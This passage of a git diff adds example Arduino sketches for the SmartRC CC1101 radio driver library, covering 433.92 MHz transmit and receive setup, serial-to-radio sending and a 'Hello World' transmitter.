= Variable packet length mode. 2 = Infinite packet length mode. 3 = Reserved + ELECHOUSE_cc1101.setPacketLength(0); // Indicates the packet length when fixed packet length mode is enabled. If variable packet length mode is used, this value indicates the maximum packet length allowed. + ELECHOUSE_cc1101.setCrc(1); // 1 = CRC calculation in TX and CRC check in RX enabled. 0 = CRC disabled for TX and RX. + ELECHOUSE_cc1101.setCRC_AF(0); // Enable automatic flush of RX FIFO when CRC is not OK. This requires that only one packet is in the RXIFIFO and that packet length is limited to the RX FIFO size. + ELECHOUSE_cc1101.setDcFilterOff(0); // Disable digital DC blocking filter before demodulator. Only for data rates ≤ 250 kBaud The recommended IF frequency changes when the DC blocking is disabled. 1 = Disable (current optimized). 0 = Enable (better sensitivity). + ELECHOUSE_cc1101.setManchester(0); // Enables Manchester encoding/decoding. 0 = Disable. 1 = Enable. + ELECHOUSE_cc1101.setFEC(0); // Enable Forward Error Correction (FEC) with interleaving for packet payload (Only supported for fixed packet length mode. 0 = Disable. 1 = Enable. + ELECHOUSE_cc1101.setPRE(0); // Sets the minimum number of preamble bytes to be transmitted. Values: 0 : 2, 1 : 3, 2 : 4, 3 : 6, 4 : 8, 5 : 12, 6 : 16, 7 : 24 + ELECHOUSE_cc1101.setPQT(0); // Preamble quality estimator threshold. The preamble quality estimator increases an internal counter by one each time a bit is received that is different from the previous bit, and decreases the counter by 8 each time a bit is received that is the same as the last bit. A threshold of 4∙PQT for this counter is used to gate sync word detection. When PQT=0 a sync word is always accepted. + ELECHOUSE_cc1101.setAppendStatus(0); // When enabled, two status bytes will be appended to the payload of the packet. The status bytes contain RSSI and LQI values, as well as CRC OK. + + Serial.println("Tx Mode"); +} + +void loop() { + +//When sending, we give a little time to completely transmit the message (time in millis). +//You can shorten the time. It depends on the data rate and the packet length. Just try it out for fine tuning. + + if (Serial.available()) { + int len = Serial.readBytesUntil('\n', buffer, n); + buffer[len] = '\0'; + Serial.println((char *)buffer); + ELECHOUSE_cc1101.SendData(buffer, len, 100); + Serial.print("Buffer: "); + for (int i = 0; i + +const int n = 61; +byte buffer[n] = ""; + +void setup() { + + Serial.begin(9600); + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! + ELECHOUSE_cc1101.setCCMode(1); // set config for internal transmission mode. + ELECHOUSE_cc1101.setModulation(0); // set modulation mode. 0 = 2-FSK, 1 = GFSK, 2 = ASK/OOK, 3 = 4-FSK, 4 = MSK. + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + ELECHOUSE_cc1101.setSyncMode(2); // Combined sync-word qualifier mode. 0 = No preamble/sync. 1 = 16 sync word bits detected. 2 = 16/16 sync word bits detected. 3 = 30/32 sync word bits detected. 4 = No preamble/sync, carrier-sense above threshold. 5 = 15/16 + carrier-sense above threshold. 6 = 16/16 + carrier-sense above threshold. 7 = 30/32 + carrier-sense above threshold. + // ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setCrc(1); // 1 = CRC calculation in TX and CRC check in RX enabled. 0 = CRC disabled for TX and RX. + + Serial.println("Tx Mode"); +} + +void loop() { + +//When sending, we give a little time to completely transmit the message (time in millis). +//You can shorten the time. It depends on the data rate and the packet length. Just try it out for fine tuning. + + if (Serial.available()) { + int len = Serial.readBytesUntil('\n', buffer, n); + buffer[len] = '\0'; + Serial.println((char *)buffer); + ELECHOUSE_cc1101.SendData(buffer, len, 100); + Serial.print("Buffer: "); + for (int i = 0; i + +int gdo0; + +void setup(){ + +#ifdef ESP32 +gdo0 = 2; // for esp32! GDO0 on GPIO pin 2. +#elif ESP8266 +gdo0 = 5; // for esp8266! GDO0 on pin 5 = D1. +#else +gdo0 = 6; // for Arduino! GDO0 on pin 6. +#endif + + Serial.begin(9600); + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! + ELECHOUSE_cc1101.setGDO0(gdo0); // set lib internal gdo pin (gdo0). Gdo2 not use for this example. + ELECHOUSE_cc1101.setCCMode(1); // set config for internal transmission mode. + ELECHOUSE_cc1101.setModulation(0); // set modulation mode. 0 = 2-FSK, 1 = GFSK, 2 = ASK/OOK, 3 = 4-FSK, 4 = MSK. + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + ELECHOUSE_cc1101.setDeviation(47.60); // Set the Frequency deviation in kHz. Value from 1.58 to 380.85. Default is 47.60 kHz. + ELECHOUSE_cc1101.setChannel(0); // Set the Channelnumber from 0 to 255. Default is cahnnel 0. + ELECHOUSE_cc1101.setChsp(199.95); // The channel spacing is multiplied by the channel number CHAN and added to the base frequency in kHz. Value from 25.39 to 405.45. Default is 199.95 kHz. + ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. + ELECHOUSE_cc1101.setDRate(99.97); // Set the Data Rate in kBaud. Value from 0.02 to 1621.83. Default is 99.97 kBaud! + ELECHOUSE_cc1101.setPA(10); // Set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setSyncMode(2); // Combined sync-word qualifier mode. 0 = No preamble/sync. 1 = 16 sync word bits detected. 2 = 16/16 sync word bits detected. 3 = 30/32 sync word bits detected. 4 = No preamble/sync, carrier-sense above threshold. 5 = 15/16 + carrier-sense above threshold. 6 = 16/16 + carrier-sense above threshold. 7 = 30/32 + carrier-sense above threshold. + ELECHOUSE_cc1101.setSyncWord(211, 145); // Set sync word. Must be the same for the transmitter and receiver. (Syncword high, Syncword low) + ELECHOUSE_cc1101.setAdrChk(0); // Controls address check configuration of received packages. 0 = No address check. 1 = Address check, no broadcast. 2 = Address check and 0 (0x00) broadcast. 3 = Address check and 0 (0x00) and 255 (0xFF) broadcast. + ELECHOUSE_cc1101.setAddr(0); // Address used for packet filtration. Optional broadcast addresses are 0 (0x00) and 255 (0xFF). + ELECHOUSE_cc1101.setWhiteData(0); // Turn data whitening on / off. 0 = Whitening off. 1 = Whitening on. + ELECHOUSE_cc1101.setPktFormat(0); // Format of RX and TX data. 0 = Normal mode, use FIFOs for RX and TX. 1 = Synchronous serial mode, Data in on GDO0 and data out on either of the GDOx pins. 2 = Random TX mode; sends random data using PN9 generator. Used for test. Works as normal mode, setting 0 (00), in RX. 3 = Asynchronous serial mode, Data in on GDO0 and data out on either of the GDOx pins. + ELECHOUSE_cc1101.setLengthConfig(1); // 0 = Fixed packet length mode. 1 = Variable packet length mode. 2 = Infinite packet length mode. 3 = Reserved + ELECHOUSE_cc1101.setPacketLength(0); // Indicates the packet length when fixed packet length mode is enabled. If variable packet length mode is used, this value indicates the maximum packet length allowed. + ELECHOUSE_cc1101.setCrc(1); // 1 = CRC calculation in TX and CRC check in RX enabled. 0 = CRC disabled for TX and RX. + ELECHOUSE_cc1101.setCRC_AF(0); // Enable automatic flush of RX FIFO when CRC is not OK. This requires that only one packet is in the RXIFIFO and that packet length is limited to the RX FIFO size. + ELECHOUSE_cc1101.setDcFilterOff(0); // Disable digital DC blocking filter before demodulator. Only for data rates ≤ 250 kBaud The recommended IF frequency changes when the DC blocking is disabled. 1 = Disable (current optimized). 0 = Enable (better sensitivity). + ELECHOUSE_cc1101.setManchester(0); // Enables Manchester encoding/decoding. 0 = Disable. 1 = Enable. + ELECHOUSE_cc1101.setFEC(0); // Enable Forward Error Correction (FEC) with interleaving for packet payload (Only supported for fixed packet length mode. 0 = Disable. 1 = Enable. + ELECHOUSE_cc1101.setPRE(0); // Sets the minimum number of preamble bytes to be transmitted. Values: 0 : 2, 1 : 3, 2 : 4, 3 : 6, 4 : 8, 5 : 12, 6 : 16, 7 : 24 + ELECHOUSE_cc1101.setPQT(0); // Preamble quality estimator threshold. The preamble quality estimator increases an internal counter by one each time a bit is received that is different from the previous bit, and decreases the counter by 8 each time a bit is received that is the same as the last bit. A threshold of 4∙PQT for this counter is used to gate sync word detection. When PQT=0 a sync word is always accepted. + ELECHOUSE_cc1101.setAppendStatus(0); // When enabled, two status bytes will be appended to the payload of the packet. The status bytes contain RSSI and LQI values, as well as CRC OK. + + Serial.println("Rx Mode"); +} + +byte buffer[61] = {0}; + +void loop(){ + + //Checks whether something has been received. + if (ELECHOUSE_cc1101.CheckReceiveFlag()){ + + //CRC Check. If "setCrc(false)" crc returns always OK! + if (ELECHOUSE_cc1101.CheckCRC()){ + + //Rssi Level in dBm + Serial.print("Rssi: "); + Serial.println(ELECHOUSE_cc1101.getRssi()); + + //Link Quality Indicator + Serial.print("LQI: "); + Serial.println(ELECHOUSE_cc1101.getLqi()); + + //Get received Data and calculate length + int len = ELECHOUSE_cc1101.ReceiveData(buffer); + buffer[len] = '\0'; + + //Print received in char format. + Serial.println((char *) buffer); + + //Print received in bytes format. + for (int i = 0; i + +int gdo0; + +void setup(){ + +#ifdef ESP32 +gdo0 = 2; // for esp32! GDO0 on GPIO pin 2. +#elif ESP8266 +gdo0 = 5; // for esp8266! GDO0 on pin 5 = D1. +#else +gdo0 = 6; // for Arduino! GDO0 on pin 6. +#endif + + Serial.begin(9600); + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! + ELECHOUSE_cc1101.setGDO0(gdo0); // set lib internal gdo pin (gdo0). Gdo2 not use for this example. + ELECHOUSE_cc1101.setCCMode(1); // set config for internal transmission mode. + ELECHOUSE_cc1101.setModulation(0); // set modulation mode. 0 = 2-FSK, 1 = GFSK, 2 = ASK/OOK, 3 = 4-FSK, 4 = MSK. + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + ELECHOUSE_cc1101.setSyncMode(2); // Combined sync-word qualifier mode. 0 = No preamble/sync. 1 = 16 sync word bits detected. 2 = 16/16 sync word bits detected. 3 = 30/32 sync word bits detected. 4 = No preamble/sync, carrier-sense above threshold. 5 = 15/16 + carrier-sense above threshold. 6 = 16/16 + carrier-sense above threshold. 7 = 30/32 + carrier-sense above threshold. + ELECHOUSE_cc1101.setCrc(1); // 1 = CRC calculation in TX and CRC check in RX enabled. 0 = CRC disabled for TX and RX. + + Serial.println("Rx Mode"); +} +byte buffer[61] = {0}; + +void loop(){ + + if (ELECHOUSE_cc1101.CheckReceiveFlag()){ + + if (ELECHOUSE_cc1101.CheckCRC()){ //CRC Check. If "setCrc(false)" crc returns always OK! + Serial.print("Rssi: "); + Serial.println(ELECHOUSE_cc1101.getRssi()); + Serial.print("LQI: "); + Serial.println(ELECHOUSE_cc1101.getLqi()); + + int len = ELECHOUSE_cc1101.ReceiveData(buffer); + buffer[len] = '\0'; + Serial.println((char *) buffer); + for (int i = 0; i + +int gdo0; + +byte transmitt_byte[11] = {72,101,108,108,111,32,87,111,114,108,100}; +char *transmitt_char = "Hello World"; + +void setup() { + +#ifdef ESP32 +gdo0 = 2; // for esp32! GDO0 on GPIO pin 2. +#elif ESP8266 +gdo0 = 5; // for esp8266! GDO0 on pin 5 = D1. +#else +gdo0 = 6; // for Arduino! GDO0 on pin 6. +#endif + + Serial.begin(9600); + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! + ELECHOUSE_cc1101.setGDO0(gdo0); // set lib internal gdo pin (gdo0). Gdo2 not use for this example. + ELECHOUSE_cc1101.setCCMode(1); // set config for internal transmission mode. + ELECHOUSE_cc1101.setModulation(0); // set modulation mode. 0 = 2-FSK, 1 = GFSK, 2 = ASK/OOK, 3 = 4-FSK, 4 = MSK. + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + ELECHOUSE_cc1101.setDeviation(47.60); // Set the Frequency deviation in kHz. Value from 1.58 to 380.85. Default is 47.60 kHz. + ELECHOUSE_cc1101.setChannel(0); // Set the Channelnumber from 0 to 255. Default is cahnnel 0. + ELECHOUSE_cc1101.setChsp(199.95); // The channel spacing is multiplied by the channel number CHAN and added to the base frequency in kHz. Value from 25.39 to 405.45. Default is 199.95 kHz. + ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. + ELECHOUSE_cc1101.setDRate(99.97); // Set the Data Rate in kBaud. Value from 0.02 to 1621.83. Default is 99.97 kBaud! + ELECHOUSE_cc1101.setPA(10); // Set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setSyncMode(2); // Combined sync-word qualifier mode. 0 = No preamble/sync. 1 = 16 sync word bits detected. 2 = 16/16 sync word bits detected. 3 = 30/32 sync word bits detected. 4 = No preamble/sync, carrier-sense above threshold. 5 = 15/16 + carrier-sense above threshold. 6 = 16/16 + carrier-sense above threshold. 7 = 30/32 + carrier-sense above threshold. + ELECHOUSE_cc1101.setSyncWord(211, 145); // Set sync word. Must be the same for the transmitter and receiver. (Syncword high, Syncword low) + ELECHOUSE_cc1101.setAdrChk(0); // Controls address check configuration of received packages. 0 = No address check. 1 = Address check, no broadcast. 2 = Address check and 0 (0x00) broadcast. 3 = Address check and 0 (0x00) and 255 (0xFF) broadcast. + ELECHOUSE_cc1101.setAddr(0); // Address used for packet filtration. Optional broadcast addresses are 0 (0x00) and 255 (0xFF). + ELECHOUSE_cc1101.setWhiteData(0); // Turn data whitening on / off. 0 = Whitening off. 1 = Whitening on. + ELECHOUSE_cc1101.setPktFormat(0); // Format of RX and TX data. 0 = Normal mode, use FIFOs for RX and TX. 1 = Synchronous serial mode, Data in on GDO0 and data out on either of the GDOx pins. 2 = Random TX mode; sends random data using PN9 generator. Used for test. Works as normal mode, setting 0 (00), in RX. 3 = Asynchronous serial mode, Data in on GDO0 and data out on either of the GDOx pins. + ELECHOUSE_cc1101.setLengthConfig(1); // 0 = Fixed packet length mode. 1 = Variable packet length mode. 2 = Infinite packet length mode. 3 = Reserved + ELECHOUSE_cc1101.setPacketLength(0); // Indicates the packet length when fixed packet length mode is enabled. If variable packet length mode is used, this value indicates the maximum packet length allowed. + ELECHOUSE_cc1101.setCrc(1); // 1 = CRC calculation in TX and CRC check in RX enabled. 0 = CRC disabled for TX and RX. + ELECHOUSE_cc1101.setCRC_AF(0); // Enable automatic flush of RX FIFO when CRC is not OK. This requires that only one packet is in the RXIFIFO and that packet length is limited to the RX FIFO size. + ELECHOUSE_cc1101.setDcFilterOff(0); // Disable digital DC blocking filter before demodulator. Only for data rates ≤ 250 kBaud The recommended IF frequency changes when the DC blocking is disabled. 1 = Disable (current optimized). 0 = Enable (better sensitivity). + ELECHOUSE_cc1101.setManchester(0); // Enables Manchester encoding/decoding. 0 = Disable. 1 = Enable. + ELECHOUSE_cc1101.setFEC(0); // Enable Forward Error Correction (FEC) with interleaving for packet payload (Only supported for fixed packet length mode. 0 = Disable. 1 = Enable. + ELECHOUSE_cc1101.setPRE(0); // Sets the minimum number of preamble bytes to be transmitted. Values: 0 : 2, 1 : 3, 2 : 4, 3 : 6, 4 : 8, 5 : 12, 6 : 16, 7 : 24 + ELECHOUSE_cc1101.setPQT(0); // Preamble quality estimator threshold. The preamble quality estimator increases an internal counter by one each time a bit is received that is different from the previous bit, and decreases the counter by 8 each time a bit is received that is the same as the last bit. A threshold of 4∙PQT for this counter is used to gate sync word detection. When PQT=0 a sync word is always accepted. + ELECHOUSE_cc1101.setAppendStatus(0); // When enabled, two status bytes will be appended to the payload of the packet. The status bytes contain RSSI and LQI values, as well as CRC OK. + + Serial.println("Tx Mode"); +} + +void loop() { + +//3 different methods to send data + +//Transmitt "Hello World" from byte format. +ELECHOUSE_cc1101.SendData(transmitt_byte, 11); +delay(2000); + +//Transmitt "Hello World" from char format. +ELECHOUSE_cc1101.SendData(transmitt_char); +delay(2000); + +//Transmitt "Hello World" from char format directly. +ELECHOUSE_cc1101.SendData("Hello World"); +delay(2000); + +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/Old_Method_with_GDO/cc1101_Transmitt_Hello_World_minimal/cc1101_Transmitt_Hello_World_minimal.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/Old_Method_with_GDO/cc1101_Transmitt_Hello_World_minimal/cc1101_Transmitt_Hello_World_minimal.ino new file mode 100644 index 0000000..62178ed --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/Old_Method_with_GDO/cc1101_Transmitt_Hello_World_minimal/cc1101_Transmitt_Hello_World_minimal.ino @@ -0,0 +1,55 @@ +// These examples are from the Electronics Cookbook by Simon Monk +//https://github.com/LSatan/SmartRC-CC1101-Driver-Lib +// mod by Little_S@tan +#include + +int gdo0; + +byte transmitt_byte[11] = {72,101,108,108,111,32,87,111,114,108,100}; +char *transmitt_char = "Hello World"; + +void setup() { + +#ifdef ESP32 +gdo0 = 2; // for esp32! GDO0 on GPIO pin 2. +#elif ESP8266 +gdo0 = 5; // for esp8266! GDO0 on pin 5 = D1. +#else +gdo0 = 6; // for Arduino! GDO0 on pin 6. +#endif + + Serial.begin(9600); + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! + ELECHOUSE_cc1101.setGDO0(gdo0); // set lib internal gdo pin (gdo0). Gdo2 not use for this example. + ELECHOUSE_cc1101.setCCMode(1); // set config for internal transmission mode. + ELECHOUSE_cc1101.setModulation(0); // set modulation mode. 0 = 2-FSK, 1 = GFSK, 2 = ASK/OOK, 3 = 4-FSK, 4 = MSK. + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + ELECHOUSE_cc1101.setSyncMode(2); // Combined sync-word qualifier mode. 0 = No preamble/sync. 1 = 16 sync word bits detected. 2 = 16/16 sync word bits detected. 3 = 30/32 sync word bits detected. 4 = No preamble/sync, carrier-sense above threshold. 5 = 15/16 + carrier-sense above threshold. 6 = 16/16 + carrier-sense above threshold. 7 = 30/32 + carrier-sense above threshold. + // ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setCrc(1); // 1 = CRC calculation in TX and CRC check in RX enabled. 0 = CRC disabled for TX and RX. + Serial.println("Tx Mode"); +} + +void loop() { + +//3 different methods to send data + +//Transmitt "Hello World" from byte format. +ELECHOUSE_cc1101.SendData(transmitt_byte, 11); +delay(2000); + +//Transmitt "Hello World" from char format. +ELECHOUSE_cc1101.SendData(transmitt_char); +delay(2000); + +//Transmitt "Hello World" from char format directly. +ELECHOUSE_cc1101.SendData("Hello World"); +delay(2000); +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/Old_Method_with_GDO/cc1101_Transmitt_Serial_advanced/cc1101_Transmitt_Serial_advanced.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/Old_Method_with_GDO/cc1101_Transmitt_Serial_advanced/cc1101_Transmitt_Serial_advanced.ino new file mode 100644 index 0000000..4a3606f --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/Old_Method_with_GDO/cc1101_Transmitt_Serial_advanced/cc1101_Transmitt_Serial_advanced.ino @@ -0,0 +1,75 @@ +// These examples are from the Electronics Cookbook by Simon Monk +//https://github.com/LSatan/SmartRC-CC1101-Driver-Lib +// mod by Little_S@tan + +#include + +int gdo0; + +const int n = 61; +byte buffer[n] = ""; + +void setup() { + +#ifdef ESP32 +gdo0 = 2; // for esp32! GDO0 on GPIO pin 2. +#elif ESP8266 +gdo0 = 5; // for esp8266! GDO0 on pin 5 = D1. +#else +gdo0 = 6; // for Arduino! GDO0 on pin 6. +#endif + + Serial.begin(9600); + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! + ELECHOUSE_cc1101.setGDO0(gdo0); // set lib internal gdo pin (gdo0). Gdo2 not use for this example. + ELECHOUSE_cc1101.setCCMode(1); // set config for internal transmission mode. + ELECHOUSE_cc1101.setModulation(0); // set modulation mode. 0 = 2-FSK, 1 = GFSK, 2 = ASK/OOK, 3 = 4-FSK, 4 = MSK. + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + ELECHOUSE_cc1101.setDeviation(47.60); // Set the Frequency deviation in kHz. Value from 1.58 to 380.85. Default is 47.60 kHz. + ELECHOUSE_cc1101.setChannel(0); // Set the Channelnumber from 0 to 255. Default is cahnnel 0. + ELECHOUSE_cc1101.setChsp(199.95); // The channel spacing is multiplied by the channel number CHAN and added to the base frequency in kHz. Value from 25.39 to 405.45. Default is 199.95 kHz. + ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. + ELECHOUSE_cc1101.setDRate(99.97); // Set the Data Rate in kBaud. Value from 0.02 to 1621.83. Default is 99.97 kBaud! + ELECHOUSE_cc1101.setPA(10); // Set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setSyncMode(2); // Combined sync-word qualifier mode. 0 = No preamble/sync. 1 = 16 sync word bits detected. 2 = 16/16 sync word bits detected. 3 = 30/32 sync word bits detected. 4 = No preamble/sync, carrier-sense above threshold. 5 = 15/16 + carrier-sense above threshold. 6 = 16/16 + carrier-sense above threshold. 7 = 30/32 + carrier-sense above threshold. + ELECHOUSE_cc1101.setSyncWord(211, 145); // Set sync word. Must be the same for the transmitter and receiver. (Syncword high, Syncword low) + ELECHOUSE_cc1101.setAdrChk(0); // Controls address check configuration of received packages. 0 = No address check. 1 = Address check, no broadcast. 2 = Address check and 0 (0x00) broadcast. 3 = Address check and 0 (0x00) and 255 (0xFF) broadcast. + ELECHOUSE_cc1101.setAddr(0); // Address used for packet filtration. Optional broadcast addresses are 0 (0x00) and 255 (0xFF). + ELECHOUSE_cc1101.setWhiteData(0); // Turn data whitening on / off. 0 = Whitening off. 1 = Whitening on. + ELECHOUSE_cc1101.setPktFormat(0); // Format of RX and TX data. 0 = Normal mode, use FIFOs for RX and TX. 1 = Synchronous serial mode, Data in on GDO0 and data out on either of the GDOx pins. 2 = Random TX mode; sends random data using PN9 generator. Used for test. Works as normal mode, setting 0 (00), in RX. 3 = Asynchronous serial mode, Data in on GDO0 and data out on either of the GDOx pins. + ELECHOUSE_cc1101.setLengthConfig(1); // 0 = Fixed packet length mode. 1 = Variable packet length mode. 2 = Infinite packet length mode. 3 = Reserved + ELECHOUSE_cc1101.setPacketLength(0); // Indicates the packet length when fixed packet length mode is enabled. If variable packet length mode is used, this value indicates the maximum packet length allowed. + ELECHOUSE_cc1101.setCrc(1); // 1 = CRC calculation in TX and CRC check in RX enabled. 0 = CRC disabled for TX and RX. + ELECHOUSE_cc1101.setCRC_AF(0); // Enable automatic flush of RX FIFO when CRC is not OK. This requires that only one packet is in the RXIFIFO and that packet length is limited to the RX FIFO size. + ELECHOUSE_cc1101.setDcFilterOff(0); // Disable digital DC blocking filter before demodulator. Only for data rates ≤ 250 kBaud The recommended IF frequency changes when the DC blocking is disabled. 1 = Disable (current optimized). 0 = Enable (better sensitivity). + ELECHOUSE_cc1101.setManchester(0); // Enables Manchester encoding/decoding. 0 = Disable. 1 = Enable. + ELECHOUSE_cc1101.setFEC(0); // Enable Forward Error Correction (FEC) with interleaving for packet payload (Only supported for fixed packet length mode. 0 = Disable. 1 = Enable. + ELECHOUSE_cc1101.setPRE(0); // Sets the minimum number of preamble bytes to be transmitted. Values: 0 : 2, 1 : 3, 2 : 4, 3 : 6, 4 : 8, 5 : 12, 6 : 16, 7 : 24 + ELECHOUSE_cc1101.setPQT(0); // Preamble quality estimator threshold. The preamble quality estimator increases an internal counter by one each time a bit is received that is different from the previous bit, and decreases the counter by 8 each time a bit is received that is the same as the last bit. A threshold of 4∙PQT for this counter is used to gate sync word detection. When PQT=0 a sync word is always accepted. + ELECHOUSE_cc1101.setAppendStatus(0); // When enabled, two status bytes will be appended to the payload of the packet. The status bytes contain RSSI and LQI values, as well as CRC OK. + + Serial.println("Tx Mode"); +} + +void loop() { + + if (Serial.available()) { + int len = Serial.readBytesUntil('\n', buffer, n); + buffer[len] = '\0'; + Serial.println((char *)buffer); + ELECHOUSE_cc1101.SendData(buffer, len); + Serial.print("Buffer: "); + for (int i = 0; i + +int gdo0; + +const int n = 61; +byte buffer[n] = ""; + +void setup() { + +#ifdef ESP32 +gdo0 = 2; // for esp32! GDO0 on GPIO pin 2. +#elif ESP8266 +gdo0 = 5; // for esp8266! GDO0 on pin 5 = D1. +#else +gdo0 = 6; // for Arduino! GDO0 on pin 6. +#endif + + Serial.begin(9600); + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! + ELECHOUSE_cc1101.setGDO0(gdo0); // set lib internal gdo pin (gdo0). Gdo2 not use for this example. + ELECHOUSE_cc1101.setCCMode(1); // set config for internal transmission mode. + ELECHOUSE_cc1101.setModulation(0); // set modulation mode. 0 = 2-FSK, 1 = GFSK, 2 = ASK/OOK, 3 = 4-FSK, 4 = MSK. + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + ELECHOUSE_cc1101.setSyncMode(2); // Combined sync-word qualifier mode. 0 = No preamble/sync. 1 = 16 sync word bits detected. 2 = 16/16 sync word bits detected. 3 = 30/32 sync word bits detected. 4 = No preamble/sync, carrier-sense above threshold. 5 = 15/16 + carrier-sense above threshold. 6 = 16/16 + carrier-sense above threshold. 7 = 30/32 + carrier-sense above threshold. + // ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setCrc(1); // 1 = CRC calculation in TX and CRC check in RX enabled. 0 = CRC disabled for TX and RX. + Serial.println("Tx Mode"); +} + +void loop() { + + if (Serial.available()) { + int len = Serial.readBytesUntil('\n', buffer, n); + buffer[len] = '\0'; + Serial.println((char *)buffer); + ELECHOUSE_cc1101.SendData(buffer, len); + Serial.print("Buffer: "); + for (int i = 0; i +#include + +int RECEIVER_PIN; // any intterupt able pin +int TRANSMITTER_PIN; + +ESPiLight rf(TRANSMITTER_PIN); // use -1 to disable transmitter + +// callback function. It is called on successfully received and parsed rc signal +void rfRawCallback(const uint16_t* codes, size_t length) { + // print pulse lengths + Serial.print("RAW signal: "); + for (unsigned int i = 0; i < length; i++) { + Serial.print(codes[i]); + Serial.print(' '); + } + Serial.println(); + + // format of pilight USB Nano + String data = rf.pulseTrainToString(codes, length); + Serial.print("string format: "); + Serial.print(data); + Serial.println(); +} + +void setup() { + Serial.begin(115200); + +#ifdef ESP32 +RECEIVER_PIN = 4; TRANSMITTER_PIN = 2; // for esp32! Receiver on GPIO pin 4. Transmit on GPIO pin 2. +#elif ESP8266 +RECEIVER_PIN = 4; TRANSMITTER_PIN = 5; // for esp8266! Receiver on pin 4 = D2. Transmit on pin 5 = D1. +#else +RECEIVER_PIN = 0; TRANSMITTER_PIN = 6; // for Arduino! Receiver on interrupt 0 => that is pin #2. Transmit on pin 6. +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + 